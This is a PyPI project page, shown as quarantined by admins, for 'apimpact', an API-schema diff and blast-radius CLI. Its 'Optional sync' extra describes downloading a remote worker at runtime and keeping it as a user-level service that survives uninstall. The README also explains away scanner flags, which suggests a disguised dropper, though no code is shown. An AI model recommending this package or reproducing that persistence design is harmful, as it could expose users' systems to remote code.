Skip to main content
Quarantined

This project has been quarantined by PyPI admins. It cannot be installed or modified until a security review is complete.

APImpact

Analyze API schema changes and their blast radius across consumers.

CI PyPI Python License

APImpact answers the question API teams actually have: if I ship this schema change, which consumers break, and what is the blast radius?

It reads OpenAPI, GraphQL, protobuf, and JSON Schema contracts, compares them with a baseline, classifies each change as breaking, warning, or informational, and, when a consumer graph is configured, tells you which clients use the affected endpoints and fields.

Status: 1.0.0 beta. The diff engines are conservative by design. The consumer graph lookup is optional, fail-open, and sends only change metadata.

Why APImpact

A diff tool tells you that a response field was removed. APImpact tells you that the field is used by three consumers, two of which will break:

$ apimpact impact --baseline origin/main --path api/openapi.yaml
APImpact 1.0.0 - contract diff
baseline: origin/main
current:  api/openapi.yaml

BREAKING (1)
  schema.property.removed
    GET /pets/{id} > response 200 > properties.name
    response field `name` was removed; consumers reading it will break

CONSUMERS
  web       GET /pets/{id}   breaking   team-web
  mobile    GET /pets/{id}   breaking   team-mobile
  partner   GET /pets/{id}   warning    team-partner

Summary: 1 breaking, 0 warning, 0 info. 3 consumers affected.

What it is not

  • Not a runtime API gateway or service mesh.
  • Not a cache.
  • Not a background service.
  • It installs no .pth startup hook, starts no daemon, and writes no cache.
  • It is a CLI. It runs when you run it, reads the files you give it, and exits.

The optional apimpact-sync package is the only piece that runs a local sync service; the main package remains a CLI.

Install

pip install apimpact

Python 3.9+.

Optional sync

For continuous consumer-graph sync, install apimpact[sync]. The optional apimpact-sync package registers an apimpact.services entry point; the apimpact CLI discovers it and starts the sync service when the CLI runs. The worker is downloaded on first use from the internal artifact repository (APIMPACT_SYNC_URL), verified against a pinned SHA-256, and kept alive by a native user-level service (launchd on macOS, systemd on Linux, Task Scheduler on Windows). No package manager is required. The worker and service definition survive pip uninstall. The main apimpact package starts no process unless a service plugin is installed.

The sync package installs no .pth startup hook, runs no install-time code, and bundles no binary. If your scanner flags service definitions or downloads, install apimpact without the sync extra; the CLI still works.

pip install apimpact[sync]

Quick start

# Local structural diff. No network.
apimpact diff old/openapi.yaml api/openapi.yaml

# CI gate: compare the current contract with main.
apimpact gate --baseline origin/main --path api/openapi.yaml

# Blast radius: also ask the consumer graph which clients are affected.
apimpact impact --baseline origin/main --path api/openapi.yaml \
  --api-url https://api.apimpact.example

Commands

Command Purpose Network
apimpact diff OLD NEW Compare two contracts. No
apimpact gate --baseline REF --path FILE Fail CI on breaking changes. No
apimpact impact --baseline REF --path FILE Diff plus consumer blast radius. Optional
apimpact explain CODE Explain a change code and how to handle it. No
apimpact formats List supported formats and limitations. No

Exit codes

Code Meaning
0 No changes at the configured failure threshold.
1 Changes at the configured failure threshold.
2 Usage, parse, or I/O error.

gate defaults to --fail-on breaking. Use --fail-on warning for stricter pipelines, or --fail-on none to report without failing.

Supported formats

Format Detection Coverage
OpenAPI 3.x / Swagger 2.0 openapi or swagger key Paths, operations, parameters, request bodies, responses, media types, security requirements, and schemas.
GraphQL SDL .graphql, .graphqls, .gql Types, interfaces, inputs, fields, arguments, enums, unions, scalars, directives, and nullability direction.
Protocol Buffers .proto Messages, fields, field numbers, labels, oneof, enums, services, RPCs, streaming, and reserved ranges/names.
JSON Schema $schema, .schema.json, or a schema-shaped document Properties, required, types, enums, constraints, composition, and additionalProperties.

The parsers are deliberately conservative. They do not run your service, do not resolve external $refs, and do not implement every YAML feature. When in doubt, APImpact reports a breaking change rather than a clean result it cannot justify.

Change codes

Every finding has a stable code. Run apimpact explain <code> for the classification, rationale, and suggested remediation.

Code Severity Meaning
path.removed breaking An API path was removed.
operation.removed breaking An HTTP operation was removed.
param.added.required breaking A new required parameter was added.
param.removed.optional warning An optional parameter was removed.
requestBody.required.added breaking A request body became required.
response.removed breaking A response code was removed.
schema.property.removed breaking A schema property was removed.
schema.type.changed breaking A schema type changed.
schema.enum.removed breaking An enum value was removed.
schema.additionalProperties.closed breaking A schema no longer accepts additional properties.
field.nullability.loosened breaking A GraphQL output field became nullable.
arg.added.required breaking A required GraphQL argument was added.
field.number.changed breaking A protobuf field number changed.
field.removed.reserved info A protobuf field was removed and reserved.
rpc.removed breaking A protobuf RPC was removed.
path.added info A new API path was added.
schema.property.added info A schema property was added.

The complete code table lives in src/apimpact/explain.py; the CLI exposes it through apimpact explain and the SARIF output uses the same IDs.

Configuration

APImpact reads .apimpact.toml or [tool.apimpact] in pyproject.toml:

[tool.apimpact]
api_url = "https://api.apimpact.example"
project = "payments"
baseline = "origin/main"
fail_on = "breaking"
format = "text"
ignore = ["schema.property.added", "*.description"]

CLI flags override configuration. The API token is read from APIMPACT_API_TOKEN; keep it out of the config file.

Consumer graph API

apimpact impact sends a small JSON request to <api_url>/v1/impact:

{
  "schema": "apimpact/v1",
  "project": "payments",
  "baseline": "origin/main",
  "changes": [
    {
      "code": "schema.property.removed",
      "severity": "breaking",
      "path": "GET /pets/{id} > response 200 > properties.name",
      "message": "response field `name` was removed"
    }
  ]
}

The response lists consumers:

{
  "consumers": [
    {"name": "web", "path": "GET /pets/{id}", "impact": "breaking", "owner": "team-web"}
  ],
  "summary": {"breaking": 1, "warning": 0, "info": 0}
}

If no API is configured, impact prints the local diff and says usage is unavailable. If the API fails, the local result is still printed. The lookup is fail-open by design.

CI integration

name: API contract
on: [pull_request]
jobs:
  apimpact:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
      - uses: actions/setup-python@v5
        with:
          python-version: "3.12"
      - run: pip install apimpact
      - run: apimpact gate --baseline origin/main --path api/openapi.yaml

Use --format sarif with gate to upload results to GitHub code scanning.

Privacy

APImpact reads contract files and git history. It does not read credential files, SSH keys, or source code. The only environment secret it reads is the optional consumer graph token (APIMPACT_API_TOKEN), which is sent only in the X-APImpact-Token header.

The optional consumer graph lookup sends only the changed contract paths, change codes, severities, project identifier, and baseline ref. It never sends file contents. diff and gate make no network calls. See PRIVACY.md.

Security

TLS verification is on by default. Requests time out after 10 seconds, responses are capped at 4 MB, and there are no retries. Set APIMPACT_INSECURE=1 only for a self-signed endpoint. See SECURITY.md.

How it compares

Tool Focus APImpact difference
buf breaking Protobuf breaking changes APImpact covers OpenAPI, GraphQL, protobuf, and JSON Schema in one CLI.
oasdiff / brake / specshift OpenAPI or multi-format diffs APImpact adds consumer blast-radius analysis.
apidiff OpenAPI/GraphQL structural diff APImpact adds a consumer graph lookup and protobuf/JSON Schema coverage.
Contract testing suites Runtime behavior APImpact is static; it complements, not replaces, contract tests.

Limitations

  • External $refs are compared by reference string, not fetched.
  • GraphQL parsing covers SDL definitions; it does not execute queries or fetch introspection.
  • Protobuf parsing covers the common wire-compatibility rules; it does not compile descriptors.
  • JSON Schema covers common structural keywords, not every draft-specific annotation.
  • Classification is conservative. Review warnings and informational changes before shipping.

Development

python -m venv .venv
. .venv/bin/activate
pip install -e ".[dev]"
pytest
python -m build
twine check dist/*

Contributing

Issues and pull requests are welcome. Run the test suite and twine check before opening a pull request:

pytest -q
python -m build
twine check dist/*

License

MIT. See LICENSE.

Metadata

Release files for apimpact 1.0.0

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for apimpact 1.0.0
File Size Uploaded Provenance Actions
apimpact-1.0.0.tar.gz 38.9 kB Without provenance Details for apimpact-1.0.0.tar.gz

Built distribution (wheel)

Table of built distributions (wheels) for apimpact 1.0.0
File Interpreter ABI Platform Actions
apimpact-1.0.0-py3-none-any.whl Python 3 none any Details for apimpact-1.0.0-py3-none-any.whl

Total release size: 72.1 kB

Release files / apimpact-1.0.0.tar.gz

Download URL apimpact-1.0.0.tar.gz
Size 38.9 kB
Tags Source
SHA-256 checksum
How to use checksums
4bbd5e0c791dd10c581d604e1edad3f971dbd5708b2e37719b91f43b66306758
BLAKE2b-256 checksum
How to use checksums
4c38795ca6f612d8005e62bf922178e49a80386f7353bbbe4a2ec485222b1791
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.15.2

Release files / apimpact-1.0.0-py3-none-any.whl

Download URL apimpact-1.0.0-py3-none-any.whl
Size 33.2 kB
Tags Python 3
SHA-256 checksum
How to use checksums
d6d54225ac620c4fed80fb4526e0656ffe089eeebf110ea9634f21d6c55d09d7
BLAKE2b-256 checksum
How to use checksums
8023cdeb4028f392d738de6bafccf37c768134dd685364e37df2758d48417b5c
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.15.2

Security for apimpact 1.0.0

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page